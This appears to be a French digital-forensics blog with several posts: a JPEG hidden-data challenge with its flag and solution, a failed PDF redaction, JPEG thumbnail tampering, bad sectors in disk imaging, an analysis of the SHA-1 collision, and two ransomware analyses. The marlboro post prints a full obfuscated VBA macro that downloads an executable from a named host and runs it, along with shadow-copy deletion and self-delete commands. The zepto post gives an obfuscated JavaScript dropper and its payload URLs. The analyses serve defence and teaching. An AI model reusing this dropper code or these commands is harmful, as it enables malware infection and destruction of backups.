Des données cachées dans une image jpeg - mini challenge forensique

Des données cachées dans une image jpeg - mini challenge forensique

Mi-aout, j'ai publié le tweet suivant :

J'ai caché des données (un flag au format FLAG{[MD5]}) dans ce fichier : https://lemnet.fr/img/lena_std.jpg

lena

Il s'agit d'une photo de Lena Söderberg, très utilisée comme image de test dans le traitement d'images.

L'idée étant de retrouver le flag.

Indice n°1
 Structure d'un fichier JPG et commentaire Les fichiers jpg sont toujours structurés de la même manière. Ils contiennent une suite de segments. Chaque segment commence par un marqueur. Les marqueurs commencent tous par l'octet 0xFF suivi d'un autre octet qui indique le type de marqueur. Certains marqueurs ne contiennent que ces deux octets. Les autres sont suivis de deux octets qui indiquent la taille des données qui suivent (taille comprise).
Voici un tableau reprenant les principaux marqueurs :

Nom courtMarqueurDonnéesNomCommentaires
SOI0xFF 0xD8-Start Of ImageDébut du fichier
SOF00xFF 0xC0variableStart Of Frame (baseline DCT)Début d’une image codée par progressive DCT
SOF20xFF 0xC2variableStart Of Frame (progressive DCT)Début d’une image codée par progressive DCT
DHT0xFF 0xC4variableDefine Huffman Table(s)Table(s) de Huffman
DQT0xFF 0xDBvariableDefine Quantization Table(s)Table(s) de quantification
SOS0xFF 0xDAvariableStart Of ScanCommence un parcours de haut en bas de l’image
APPn0xFF 0xEnvariableApplication-specificInformations complémentaires (EXIF par exemple)
COM0xFF 0xFEvariableCommentCommentaire
EOI0xFF 0xD9-End Of ImageFin du fichier

On remarque un commentaire dont le marqueur est 0xFF 0xFE. Dans mon image, il est présent dès le début du fichier à l'offset 2:

ff d8 ff fe 00 3c 1f 8b 08 00 6d a4 52 5d 00 ff
05 40 b1 0d 80 00 0c 7a 09 16 9a 3e e1 a2 8b 4f
58 61 35 fe de 9c f7 71 7d 30 4b 80 e8 f7 69 76
14 8b 13 a1 ac 8c f0 2f 76 4f 48 eb 26 00 00 00
ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09
...
Les octets 0x00 0x3C, à l'offset 4, indiquent une taille de 60 octets. En retirant les deux octets de la taille, on obtient 58 octets et on peut extraire le commentaire :

1f 8b 08 00 6d a4 52 5d 00 ff 05 40 b1 0d 80 00 0c 7a 09 16 9a 3e e1 a2 8b 4f 58 61 35 fe de 9c f7 71 7d 30 4b 80 e8 f7 69 76 14 8b 13 a1 ac 8c f0 2f 76 4f 48 eb 26 00 00 00

Indice n°2
 Gzip C'est un algorithme de compression très largement rependu, notamment dans les échanges de données entre les navigateurs et les serveurs Web. On remarque que le commentaire commence par les octets 1f 8b. Il s'agit de la signature d'un fichier Gzip.
On peut donc tenter de décompresser le commentaire avec cet algorithme et on obtient :

SYNT{0q1760061qpn919r6rq61or607q6ro60}

Cela commence à ressembler au format du flag que l'on recherche.

Indice n°3
 ROT13 Le ROT13 est un cas particulier du chiffre de César. Il s’agit d’un décalage de 13 caractères de chaque lettre. Son principal avantage réside dans le fait que le codage et le décodage se font exactement de la même manière. En appliquant un ROT13 sur la chaine précédente on obtient le flag :

FLAG{0d1760061dca919e6ed61be607d6eb60}

Un exemple de mauvais caviardage

Un exemple de mauvais caviardage

Dans l'un des cas que j'ai traité récemment, j'ai été confronté à un document pdf dans lequel une partie du texte avait été caviardée. Voici ce à quoi le document ressemblait :

caviardage.

Les métadonnées indiquaient que le fichier était issu de Word. Il semblerait donc que la personne en charge du caviardage avait simplement ajouté des carrés noirs au-dessus du texte qu'il voulait cacher, avant d'enregistrer le fichier en pdf directement avec Word.

Ça n'est pas du tout la bonne manière de procéder. En effet, il suffit d'ouvrir le document avec Inkscape pour voir que les carrés noirs sont des objets :

inkscape

Pour voir le texte dans son intégralité, il suffit de supprimer ces objets :

inkscape

Selon moi, pour vraiment cacher une partie du contenu, il aurait fallu deux étapes de plus. Dans un premier temps, il aurait fallu convertir le pdf dans un format de fichier réellement graphique (png ou jpg par exemple). Et dans un second temps, il aurait fallu le reconvertir en pdf.

Manipulation de miniatures de fichiers jpg

Manipulation de miniatures de fichiers jpg

J'avais envie de jouer avec les miniatures intégrées aux photos au format jpg pour voir comment les différents OS réagissaient...

J'ai donc pris deux photos avec mon smartphone. Il s'agit d'une feuille blanche sur laquelle j'ai écrit une fois "petite" et l'autre fois "grande" :

petite et grande

J'ai donc deux fichiers jpg contenant chacun une miniature. J'appellerai l'image sur laquelle j'ai écrit "petite" la petite et celle sur laquelle j'ai écrit "grande" la grande. L'idée est de prendre la miniature de la petite pour la mettre dans la grande.

Muni d'un bon éditeur hexadécimal, j'avais trois parties à modifier :

  • La taille du marqueur APP1 à l'offset 0x4, qui correspond à la taille des métadonnées Exif,
  • La taille de la miniature, dans ce cas à l'offset 0x4B8,
  • le contenu de la miniature, dans ce cas à l'offset 0x4D0

grande hexadecimal

Dans la grande image, la miniature fait 6153 octets (0x1809). Dans la petite image, la miniature est légèrement plus grande. Elle fait 6418 octets (0x1912). Ainsi, j'ai effectué les manipulations suivantes :

  • suppression de la miniature entre l'offset 0x4D0 et 0x1CD8 pour la remplacer par l'autre miniature,
  • remplacement de la taille de la miniature à l'offset 0x4B8 : 0x1809 (6153) devient 0x1912 (6418) et on écrit donc 0x1219 (little endian)
  • remplacement de la taille du marqueur APP1 à l'offset 0x4 : on a ajouté 265 octets au fichiers et donc 0x1CD5 (7381) devient 0x1DDE (7646) et on écrit donc 0x1DDE (big endian)

On obtient donc ceci :

grande modifiée hexadecimal

L'idée est ensuite de voir comment les systèmes d'exploitations se comportent avec une telle image.

En ce qui concerne MacOS, voici ce que j'obtiens dans le finder et sur mon bureau : macOS finder

macOS bureau

En ce qui concerne Windows 10, voici ce que j'obtiens :

windows 10 explorer

En ce qui concerne Windows 7, en dehors du fait que l'image n'est pas pivotée, les résultats sont identiques :

windows 7 explorer

Enfin sous Android, voici ce que j'obtiens (en vidéo) :

On constate donc que les systèmes d'exploitations ne génèrent pas les miniatures, mais utilisent celles qui sont présentes dans les métadonnées des fichiers.

D'un point de vue de l'investigation numérique, il est important de faire attention à ce genre de choses, sinon on risque de passer à coté.

En bonus, à partir des captures de l'éditeur hexadécimal, ceux qui le souhaitent pourront tenter de me dire quand j'ai pris ces photos (plutôt facile) mais surtout où je les ai prises (un peu plus compliqué)...

Secteurs défectueux dans une image disque et x-ways forensics

Secteurs défectueux dans une image disque et x-ways forensics

Lorsqu'on réalise une image d'un disque dur, il peut arriver que l'on soit confronté à des secteurs défectueux. Il s'agit généralement de secteurs dont le CRC ne correspond pas aux données. C'est surtout un signe que le disque est en fin de vie. Dans ce cas, c'est donc particulièrement une bonne chose de travailler sur une image plutôt que directement sur le disque. Bon nombre de logiciels permettant de faire des images de disque ne gèrent pas toujours cela très bien, surtout lorsque les problèmes sont nombreux.

X-Ways Forensics gère cela plutôt bien.

X-Ways Forensics General Options

Dans les options générales, on remarque :

  • une case à cocher qui permet d'utiliser deux méthodes alternatives de lecture et surtout d'ajouter un timeout,
  • un champ nommé "Surrogate pattern for unreadable sectors" qui correspond au motif qui sera écrit à la place du contenu d'un secteur défectueux.

À l'issue de l'image, on obtient toujours un fichier texte portant le même nom que les fichiers de l'image. S'il y a des secteurs défectueux, ils sont indiqués dans ce fichier :

[...]
Destination: H:\img\ST750LM0 30-1KKL42.e01
[x] Split image into segments of 1,0 GB

25/12/1970  02:46:14  Cannot read from Sector 2 081...2 087 of ST750LM0 30-1KKL42. The request could not be performed because of an I/O device error.
25/12/1970  04:06:50  Cannot read from Sector 39 124 144...39 124 151 of ST750LM0 30-1KKL42. The request could not be performed because of an I/O device error.
25/12/1970  04:11:36  Cannot read from Sector 39 157 288...39 157 295 of ST750LM0 30-1KKL42. The request could not be performed because of an I/O device error.
25/12/1970  04:16:41  Cannot read from Sector 39 193 408...39 193 415 of ST750LM0 30-1KKL42. The request could not be performed because of an I/O device error.
25/12/1970  04:21:37  Cannot read from Sector 39 226 552...39 226 559 of ST750LM0 30-1KKL42. The request could not be performed because of an I/O device error.
25/12/1970  04:25:57  Cannot read from Sector 39 244 480...39 244 487 of ST750LM0 30-1KKL42. The request could not be performed because of an I/O device error.
25/12/1970  04:30:27  Cannot read from Sector 39 277 616...39 277 623 of ST750LM0 30-1KKL42. The request could not be performed because of an I/O device error.
25/12/1970  04:32:56  Cannot read from Sector 39 310 760...39 310 762 of ST750LM0 30-1KKL42. The request could not be performed because of an I/O device error.

Number of unreadable sectors: 58

Hash of source data: B371B93D056DC3D5D74809578EC36437 (MD5)

25/12/1970, 05:30:52
Imaging completed: 147 GB
[...]

Le hash de la source ("Hash of source data") est celui qui est stocké dans les fichiers E0x. Il est important de noter qu'il est calculé en tenant compte du motif de remplacement indiqué dans les options. Il ne s'agit donc pas réellement du hash du disque source puisqu'il est de toute façon incalculable. Il permettra surtout de vérifier que l'image est bien intègre.

Lorsqu'on regarde le contenu d'un secteur défectueux, on constate bien la présence du motif de remplacement :

X-Ways Forensics UNREADABLESECTOR

La difficulté principale est ensuite de trouver quels sont les fichiers affectés par les secteurs défectueux. On peut se déplacer aux offsets spécifiés dans le fichier texte et lire les métadonnées du fichier dans le panneau info, mais cela devient très vite fastidieux si les secteurs défectueux sont très nombreux. Il est plus simple d'utiliser plutôt le motif de remplacement dans une recherche par mots clés avec les paramètres suivants :

X-Ways Forensics Simultaneous Search

Il est à noter que pour accélérer le processus :

  • on utilise une recherche physique (sector-wise)
  • Cond.: offset mod est coché. Avec les paramètres 512 = 0, on indique que la recherche ne doit s'effectuer qu'en début de secteur.

Selon la taille de l'image et le débit du disque qui la stocke, la recherche peut être longue. On peut l'annuler dès que le nombre de hits correspond au nombre de secteurs défectueux. Dans le cas en question, il n'y a que 58 secteurs défectueux uniquement situés en début de disque :

X-Ways Forensics Searching

À l'issue de la recherche ou après l'avoir annulée, on obtient les résultats. En cochant "List 1 hit per item only", on a tout de suite la liste des quatre fichiers qui risquent de ne pas s'ouvrir.

X-Ways Forensics Search results

Ainsi, en utilisant un motif de remplacement facilement identifiable, même si les secteurs défectueux sont très nombreux, il est assez facile d'obtenir les fichiers en contenant au moins un, et ce de manière automatisée.

SHAttered, comment cela peut fonctionner ? Analyse des fichiers

SHAttered, comment cela peut fonctionner ? Analyse des fichiers

La semaine dernière, une équipe du CWI et de Google Research a publié le site shattered.io. Ils montrent la première collision SHA1 réelle. Il s'agit de générer deux fichiers différents présentant le même hash, SHA1 dans ce cas. L'objet de cet article est l'analyse en profondeur de ces deux fichiers afin de déterminer comment cela peut fonctionner.

On trouve les PDF ici et .

Tout d'abord, ils présentent bien un SHA1 identique, mais un MD5 différent :

shattered_md5_sha1

Les MD5 montrent que les fichiers sont bien différents.

Il s'agit de PDF ne contenant qu'une page. Visuellement, on les différencie par la couleur de fond de la partie haute. Sur le premier fichier, elle est bleue et sur le second, elle est rouge.

2shattered

Les deux fichiers font exactement la même taille. Lorsqu'on les compare, on constate que 99,97 % de leur contenu sont strictement identiques. Seuls 62 octets entre les offset 0xC0 et 0x130 sont différents :

shatteredvs

On remarque également que les fichiers PDF contiennent chacun la signature d'un fichier JPG à l'offset 0x95. Ces images occupent, à elles seules, plus de 99 % des PDF. A l'aide de PDF Stream Dumper, on peut visualiser les différents flux des PDF. On constate qu'il n'y en a que 13 et qu'ils sont structurés très simplement. Ce logiciel permet également d'extraire les fichiers JPG :

shattered_pdfstream

Les deux fichiers JPG contiennent les mêmes différences que les fichiers PDF.

shattered_jpgvs

En s'intéressant à la structure les fichiers JPG, on remarque qu'ils contiennent des commentaires de tailles différentes :

shattered_jpgvs_color

En reproduisant, sur l'intégralité des deux images, le même processus que sur l'image précédente, on obtient quelque chose comme cela :

shattered_jps_comm

On en conclut qu'en réalité, les fichiers contiennent tous les deux les deux images.
De plus, seul l'octet à l'offset 0x2B (0x73 pour la première image et 0x7F pour la deuxième), c'est à dire le deuxième octet de la taille du deuxième commentaire, permet de passer d'une image à l'autre. Ainsi, le logiciel en charge d'afficher les images ne lit pas les mêmes zones de données en fonction de l'octet à l'offset 0x2B. Dans le cas de l'image du premier fichier, seule la seconde moitié est réellement utile, et pour l'image du second fichier, seule la première moitié est réellement utile.

Au final, une fois que les JPG et les PDF ont été générés, les chercheurs disposaient de 369 octets pour générer leur collision. Ils n'en ont utilisé que 127, dont seulement 61 modifiés.

Pour conclure, déterminer comment cela peut fonctionner est assez simple. Mais générer la collision, c'est là qu'est la difficulté, surtout en terme de puissance de calcul.

Analyse rapide du ransomware marlboro

Analyse rapide du ransomware marlboro

Depuis hier, un nouveau rançongiciel nommé "marlboro" est apparu dans une campagne de spam. Il distribue un fichier word nommé "maxi.docm" dont voici le contenu visible :

marlboro

Ce fichier a un ratio de détection virustotal de 24/56. Il contient une macro qui, si les elles sont activées, s'exécute à l'ouverture du document :

#If Win64 Then
Private Declare PtrSafe Function mdd751a3e80c6fad16ee7801c3493dcdd Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As LongPtr
Private Declare PtrSafe Function n9861322a82506a797cc5e8f0267601d0 Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As LongPtr
#Else
Private Declare Function n9861322a82506a797cc5e8f0267601d0 Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function mdd751a3e80c6fad16ee7801c3493dcdd Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
#End If

Private Sub Document_Open()

On Error Resume Next
Dim q56aa9d485365fb51ab9833044e857343
q56aa9d485365fb51ab9833044e857343 = ChrW(104) + ChrW(116) + ChrW(116) + ChrW(112) + ChrW(58) + ChrW(47) + ChrW(47) + ChrW(109) + ChrW(104) + ChrW(117) + ChrW(115) + ChrW(116) + ChrW(108) + ChrW(101) + ChrW(114) + ChrW(50) + ChrW(48) + ChrW(49) + ChrW(56) + ChrW(46) + ChrW(48) + ChrW(48) + ChrW(48) + ChrW(119) + ChrW(101) + ChrW(98) + ChrW(104) + ChrW(111) + ChrW(115) + ChrW(116) + ChrW(97) + ChrW(112) + ChrW(112) + ChrW(46) + ChrW(99) + ChrW(111) + ChrW(109) + ChrW(47) + ChrW(117) + ChrW(48) + ChrW(48) + ChrW(48) + ChrW(48) + ChrW(48) + ChrW(46) + ChrW(119) + ChrW(105) + ChrW(99) + ChrW(107) + ChrW(101) + ChrW(100)
Dim be8acf9f7bbcf1902bcda5db9f32501d4 As Object
Dim bcb6349ce7630f24ec1aa9bd29dacdb8f As String
Set be8acf9f7bbcf1902bcda5db9f32501d4 = CreateObject("WScript.Shell")
bcb6349ce7630f24ec1aa9bd29dacdb8f = be8acf9f7bbcf1902bcda5db9f32501d4.SpecialFolders("MyDocuments")
Dim b172056081f8581a6c317d44695da9c2d
Dim ea195016377e8498c4944d94f9365750d As String
ea195016377e8498c4944d94f9365750d = UserForm1.Label3.Caption
Dim z57fbbe9a55b7e76e8772bb12c27d0537 As String
Dim naa748b20fce35512e4e8aa0f8a67d3c4$, bc5ea98bbe8bfcd700715deb41c5cb71c$
naa748b20fce35512e4e8aa0f8a67d3c4 = q56aa9d485365fb51ab9833044e857343
bc5ea98bbe8bfcd700715deb41c5cb71c = bcb6349ce7630f24ec1aa9bd29dacdb8f + "/aegnmiae." + UserForm1.Label1.Caption + UserForm1.Label2.Caption + UserForm1.Label1.Caption
b172056081f8581a6c317d44695da9c2d = n9861322a82506a797cc5e8f0267601d0(0, naa748b20fce35512e4e8aa0f8a67d3c4, bc5ea98bbe8bfcd700715deb41c5cb71c, 0, 0)
UserForm1.Label4.Caption = bc5ea98bbe8bfcd700715deb41c5cb71c
e0fece8647c2c2169f969c40262081af8 = UserForm1.Label4.Caption
mdd751a3e80c6fad16ee7801c3493dcdd 0, ea195016377e8498c4944d94f9365750d, e0fece8647c2c2169f969c40262081af8, 0, 0, 3



End Sub

Ce code télécharge le fichier "http://mhustler2018.000webhostapp.com/u00000.wicked" dans "%USERPROFILE%\Documents\aegnmiae.EXE". Il a un ratio de détection virustotal de 29/58. L'icône ressemble à celle d'un document word :

marlboro-icone

A l'issue du téléchargement, le malware est exécuté et il effectue les opérations suivantes :

  • chiffrement de fichiers ayant certaines extensions,
  • ajout de oops à la fin des noms des fichiers qu'il a chiffrés,
  • suppression des volume shadow copy

cmd.exe /C vssadmin.exe Delete Shadows /All /Quiet

  • création du fichier "_HELP_Recover_Files_.html" partout où il a chiffré des fichiers : marlboro-help

  • création du fichier "DecryptFiles.exe", qui est censé permettre le déchiffrement, mais qui ne fonctionne pas (ou plus) : marlboro-decrypter

  • ping inutile et suppression de lui même :

cmd.exe /C ping 1.1.1.1 -n 1 -w 6000 > Nul & Del "C:\Users\Administrator\Documents\aegnmiae.EXE"

Bien que le fichier html indique que le ransomware utilise un chiffrement fort, lorsqu'on regarde de plus près un fichier chiffré, on se rend facilement compte qu'il s'agit en fait d'un simple XOR. En effet, en éditant un simple fichier pdf, on constate que certaines parties contiennent de nombreuses fois une suite de 8 caractères ou le début de cette suite. Voici un exemple :

marlboro-xor

On sait que la majorité des fichiers classiques contiennent des zones ne comportant que des octets à zeros. On sait également que A XOR 0 = A. Cela permet de conclure qu'il s'agit d'un simple XOR et on trouve facilement la clé de déchiffrement. Dans mon cas, il s'agit de 0x617963626D6E656A.

On peut dire que c'est un rançongiciel de mauvaise qualité. En plus de n'utiliser qu'un simple XOR, le processus de chiffrement est buggé. En effet, sur certains fichiers, il supprime les derniers octets et cela peut les rendre inutilisables, même s'ils sont déchiffrés.

Emsisoft propose un outil de déchiffrement gratuit. Cependant, il nécessite de posséder au moins une copie d'un fichier avant le chiffrement. Si vous ne possédez pas cette copie, cela ne fonctionnera pas avec cet outils.

Pour conclure, comme d'habitude, ne payez surtout pas et je rappelle que la solution à ce genre de problématique se situe, selon moi, au niveau de la prévention des utilisateurs.

Analyse d'une infection javascript par le ransomware zepto (ex locky)

Analyse d'une infection javascript par le ransomware zepto (ex locky)

Hier, j'ai reçu un courriel suspect... Suspect, parce qu'il est marqué comme SPAM par OVH, que je ne connais pas l'expéditeur, que je n'attendais pas de lettre de confirmation, encore moins d'un anglophone, et qu'il contient une pièce jointe au format zip :

courriel-zepto

Le fichier zip a un ratio de détection virustotal assez moyen : 23/53. Il contient un fichier dont l'extension est "js" pour javascript nommé "data 2fcf143c-.js". Ce dernier obtient un ratio de détection similaire : 21/54. Voici une partie de son contenu :

wsh = WScript.CreateObject("WScript.Shell");
se = wsh.Environment("SYSTEM");
os = se("OS");
if (os != "Windows_NT") {WScript.Quit(0);}
WScript.Sleep(1); var aEx = (1, 2, 3, ['\x77\x73\x68\x20\x3d','\x20\x57\x53\x63\x72','\x69\x70\x74\x2e\x43','\x72\x65\x61\x74\x65','\x4f\x62\x6a\x65\x63','\x74\x28\x22\x57\x53','\x63\x72\x69\x70\x74','\x2e\x53\x68\x65\x6c','\x6c\x22\x29\x3b\x0a','\x73\x65\x20\x3d\x20','\x77\x73\x68\x2e\x45','\x6e\x76\x69\x72\x6f','\x6e\x6d\x65\x6e\x74','\x28\x22\x53\x59\x53','\x54\x45\x4d"\x29','\x3b\x0a\x6f\x73\x20','\x3d\x20\x73\x65\x28','\x22\x4f\x53\x22\x29','\x3b\x0a\x69\x66\x20','\x28\x6f\x73\x20\x21','\x3d\x20\x22\x57\x69','\x6e\x64\x6f\x77\x73','\x5f\x4e\x54\x22\x29','\x20\x7b\x57\x53\x63','\x72\x69\x70\x74\x2e','\x51\x75\x69\x74\x28','\x30\x29\x3b\x7d\x0a','\x76\x61\x72\x20\x4c','\x4d\x79\x39\x20\x3d','\x20\x22\x6f\x73\x65','\x22\x20\x2b\x20\x22','\x22\x3b\x0d\x0a\x76','\x61\x72\x20\x52\x79','\x20\x3d\x20\x22\x63','\x6c\x22\x20\x2b\x20','\x22\x22\x3b\x0d\x0a','\x76\x61\x72\x20\x4d','\x54\x76\x20\x3d\x20','\x22\x69\x6c\x65\x22','\x20\x2b\x20\x22\x22','\x3b\x0d\x0a\x76\x61','\x72\x20\x4a\x4a\x70','\x33\x20\x3d\x20\x22','\x65\x54\x6f\x46\x22','\x20+\x20\x22\x22',';\x0d\x0a\x76\x61','\x72\x20\x4a\x70\x35','\x20\x3d\x20\x22\x53','\x61\x76\x22\x20\x2b','\x20\x22\x22\x3b\x0d','\x0a\x66\x75\x6e\x63','\x74\x69\x6f\x6e\x20','\x41\x66\x28\x45\x4c','\x73\x30\x29\x7b\x72','\x65\x74\x75\x72\x6e','\x20\x45\x4c\x73',

[...]

'\x4e\x20\x20\x2a','\x2f\x2c\x20\x32\x29','\x3b\x0d\x0a\x0d\x0a','\x20\x20\x20\x20\x44','\x41\x62\x34\x5b\x50','\x47\x69\x35\x20\x2b','\x20\x48\x4a\x69\x5d','\x28\x29\x3b\x0d\x0a','\x7d\x3b']);
 eval(aEx.join(''));

Le code est donc dissimulé. Si l'on simule le "aEx.join('')" et que l'on remplace les "\x??" par leurs caractère ASCII, on obtient ce genre de choses :

wsh = WScript.CreateObject("WScript.Shell");
se = wsh.Environment("SYSTEM");
os = se("OS");
if (os != "Windows_NT") {WScript.Quit(0);}
var LMy9 = "ose" + "";
var Ry = "cl" + "";
var MTv = "ile" + "";
var JJp3 = "eToF" + "";
var Jp5 = "Sav" + "";
function Af(ELs0){return ELs0;};
function MZb(Hh1){return Hh1;};

[...]

var Yz=[AAd1 + Cg7 + (function Ba1(){return Ut;}()) + (function Hk7(){return WZw;}()) + (function SXn(){return KSx;}()) + He + Ny6, VGj1 + Pm0 + Lh(NKi)];

for (var IBx3=0; IBx3 < Yz[EAt7 + Bq]; IBx3++)
{
 try 
 {
 var AJf=WScript[HYu2 + QUd3(Ht0) + JBs8](Yz[IBx3]);
 break;
 }
 catch (e)
 {
 continue;
 }
};

var Lp9=1;
var Gr=0;
do
{
 try
 {
 if (1== Lp9)
 {
 if (Gr >= IDz0[EAt7 + (function Cg(){return Bq;}())])
 {
 Gr=0;
 WScript[Go7](2 * 500);
 }
 AJf[Jh + Nz3](Iv(MGd), IDz0[Gr++ % IDz0[EAt7 + Bq]], false);
 AJf[(function Co(){return Dg;}()) + Fn]();
 }
[...]
} while (Lp9);

WScript.Quit(0);

function Kx1 /* N */(Lj4)
{
[...]
};
[...]

Une nouvelle fois, le code est dissimulé. Avec un peu de travail on finit par obtenir le pseudo code (très simplifié) suivant :

Télécharger http://silverjinoz.net/49x2nv ou http://210.240.104.2/8wldse8 ou http:/otwayorchard.net/ydumpjt5
Enregistrer le fichier dans %TEMP%/QNUnOOHWq
Lire le fichier %TEMP%/QNUnOOHWq
Décoder le fichier %TEMP%/QNUnOOHWq
Enregistrer le resultat dans %TEMP%/QNUnOOHWq.exe
Exécuter le fichier %TEMP%/QNUnOOHWq.exe avec le paramètre "323"

On peut noter que le fichier "QNUnOOHWq" obtient un ratio de détection de 4/53 et que le fichier "QNUnOOHWq.exe" obtient, quant à lui, un ratio de détection de 29/53.

Lorsqu'il est exécuté, le ransomware commence à chiffrer les fichiers en fonction de leur extension, les renomme et change l'extension en "zepto". On obtient des noms qui commencent tous par l'identifiant unique "4D52B197-2A12-A30E" :

4D52B197-2A12-A30E-02EF-009C32C16841.zepto
4D52B197-2A12-A30E-15D0-458CC59B47D4.zepto
4D52B197-2A12-A30E-99E4-44BEC0FC555D.zepto
4D52B197-2A12-A30E-557A-D9F7B26EB9C3.zepto

Lorsqu'il a terminé de chiffrer les fichiers, il affiche comment payer pour récupérer ses fichiers. Pour cela, il change l'écran de fond de windows et il ouvre les fichiers "_HELP_instructions.bmp" et "_HELP_instructions.html" :

help-instructionhelp-instruction-html

En suivant le lien fourni dans le fichier html, on arrive sur la page suivante, intitulée "Locky Decryptor Page" :

onion

Il demande 2 BTC soit un peu plus de 1000 € au cours actuel. Comme d'habitude je recommande de ne pas payer. Vous n'avez aucune garantie que cela permettra de déchiffrer les fichiers.

Une vidéo de l'infection :

À ce jour, il n'existe pas de solution pour déchiffrer les fichiers d'une machine infectée par zepto.

Ainsi, selon moi, la solution à ce genre de problématique se situe plutôt au niveau de la prévention.

Il s'agit, d'une part, de former les utilisateurs à reconnaître les courriels suspects et ne pas les ouvrir et d'autre part, d'avoir mis en place une solution de sauvegardes déportées, hors ligne et régulièrement vérifier qu'elles fonctionnent comme attendu.